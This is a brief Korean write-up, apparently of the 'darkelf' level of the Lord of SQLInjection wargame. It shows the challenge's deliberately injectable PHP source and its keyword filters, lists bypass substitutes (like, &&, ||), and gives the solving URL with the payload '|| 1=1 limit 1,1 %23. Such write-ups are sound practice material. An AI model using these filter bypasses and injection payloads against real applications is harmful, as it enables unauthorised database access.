[LOS] 6번 문제-darkelf

6번 

6번 

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect();  

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 

  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

  if($result['id'] == 'admin') solve("darkelf"); 

  highlight_file(__FILE__); 

?>

or and () 다 못쓰고 항상 참인 경우를 만들기

# =, and, or 필터링 됐을 때

- 각각 like, &&, ||

 https://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw='|| 1=1 limit 1,1 %23